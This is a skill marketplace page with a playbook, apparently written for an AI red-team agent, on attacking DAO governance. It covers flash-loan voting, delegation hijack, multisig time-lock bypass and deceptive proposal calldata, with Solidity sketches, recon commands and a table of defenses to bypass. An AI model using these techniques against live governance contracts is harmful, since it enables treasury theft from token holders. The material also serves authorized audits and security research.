CLAUDE CODE MARKETPLACES
SkillsPurpleAILAB/Decepticoncontracts-governance-attack

contracts-governance-attack

DAO governance attack — flash-loan-backed vote manipulation, delegation hijack, quorum dilution, proposal-spam DoS, time-lock bypass via emergency multisig, snapshot vs. on-chain vote desync, Compound/Aave/Uniswap-style GovernorBravo abuse.

npx skills add https://github.com/PurpleAILAB/Decepticon --skill contracts-governance-attack
SKILL.md

DAO Governance Attack

Attack classes

1. Flash-loan-backed vote

DAOs that grant voting power = current token balance (not snapshot of past balance) are vulnerable:

// Attack: borrow governance token, vote, return loan, all in one tx
function attack() external {
    // 1. Flash-borrow gov tokens
    IFlashLoan(aave).flashLoan(address(this), govToken, 1_000_000e18, "");
}
function executeOperation(...) external {
    // 2. Vote on the malicious proposal
    governor.castVote(proposalId, 1);   // 1 = for
    // 3. Repay loan + premium (automatic by flash-loan callback)
}

This is what happened to Beanstalk (April 2022, $182M loss) — attacker flash-borrowed Beanstalk gov tokens, voted to drain the treasury, repaid the loan. Same block.

Defense check: Does getVotes(address, blockNumber) reference a past snapshot? If yes (Compound's GovernorBravo pattern, OZ Governor with ERC20Votes + getPastVotes), flash-loan vote doesn't work.

2. Delegation hijack

ERC20Votes lets users delegate. If a contract holds gov tokens and delegates to itself, controlling that contract = controlling the votes.

// If the target DAO has a contract holding tokens that delegates to itself,
// and that contract is upgradeable/has an admin function:
upgradeableContract.upgradeAndCall(newImpl, abi.encodeWithSelector(redelegate.selector, attacker));
// Now attacker controls those votes.

3. Quorum dilution attack

If quorum = % of total supply (not % of currently-active voters), an attacker can mint or stake extra tokens to push quorum out of reach:

// Some DAOs base quorum on totalSupply()
// Attacker mints a bunch of tokens to themselves (via legit minting if they're holder)
// Quorum requirement now too high for real voters to meet → all proposals fail

4. Proposal spam DoS

GovernorBravo has a proposalThreshold. If low, attacker spams proposals to:

  • Burn proposers' gas
  • Confuse the UI
  • Push real proposals out of the active window

5. Time-lock bypass via emergency multisig

Most DAOs have a "Security Council" or "Emergency Multisig" that can execute without time-lock for emergencies. If signers can be socially engineered, phished, or are compromised: instant treasury drain.

Check: timelock.executor() — if it's a multisig and you can compromise N-of-M signers, the time-lock is illusory.

6. Snapshot vs. on-chain desync

Off-chain Snapshot.org votes use signed messages. If the DAO trusts Snapshot results and executes via a relayer:

  • Forge votes by sniping pending signed messages
  • Bribe voters off-chain (cheaper than on-chain)
  • Replay signed messages on a fork

7. Proposal-script slippage

GovernorBravo proposals execute calldata. If the proposal description and the actual calldata don't match, voters approve one thing while approving another:

// Description: "Allocate 1000 USDC to grants"
// Actual calldata: transfer(attacker, 1_000_000e6)
// Voters who don't decode calldata get rugged.

Recon

# Identify the governance contract
cast call --rpc-url $RPC $TIMELOCK "getMinDelay()(uint256)"
cast call --rpc-url $RPC $GOVERNOR "votingPeriod()(uint256)"
cast call --rpc-url $RPC $GOVERNOR "proposalThreshold()(uint256)"
cast call --rpc-url $RPC $GOVERNOR "quorum(uint256)(uint256)" $BLOCK

# Compound/Aave/Uniswap-style: Get GovernorBravo state
forge inspect GovernorBravoDelegate storage-layout

# List active proposals
cast logs --rpc-url $RPC --address $GOVERNOR \
  --from-block latest:-1000 \
  "ProposalCreated(uint256,address,address[],uint256[],string[],bytes[],uint256,uint256,string)"

Defender's checklist (the audit you're trying to defeat)

DefenseBypass
getVotes uses past-block snapshotCan't flash-loan-vote — find delegation-hijack instead
Two-step time-lock (queue + execute)Can't bypass without compromised emergency multisig
proposalThreshold > 0Can't spam — but might still be cheap
Off-chain vote (Snapshot) → on-chain by N-of-M multisigReplace at the multisig layer

Tooling

# Tally, Boardroom — DAO dashboards (find target governance contracts)
# Forge / Foundry — simulate the attack on a fork
forge test --fork-url $RPC --match-test test_governance_drain
# Tenderly — live transaction simulation against fork

References

  • "Beanstalk Governance Attack" post-mortems (Beanstalk Farms, April 2022)
  • Compound GovernorBravo audit reports (OpenZeppelin)
  • "Slippage in Governance Proposals" — Trail of Bits research
  • Devcon Bogota talks on governance security
Installs0
GitHub Stars4.3k
LanguagePython
AddedJun 5, 2026
View on GitHub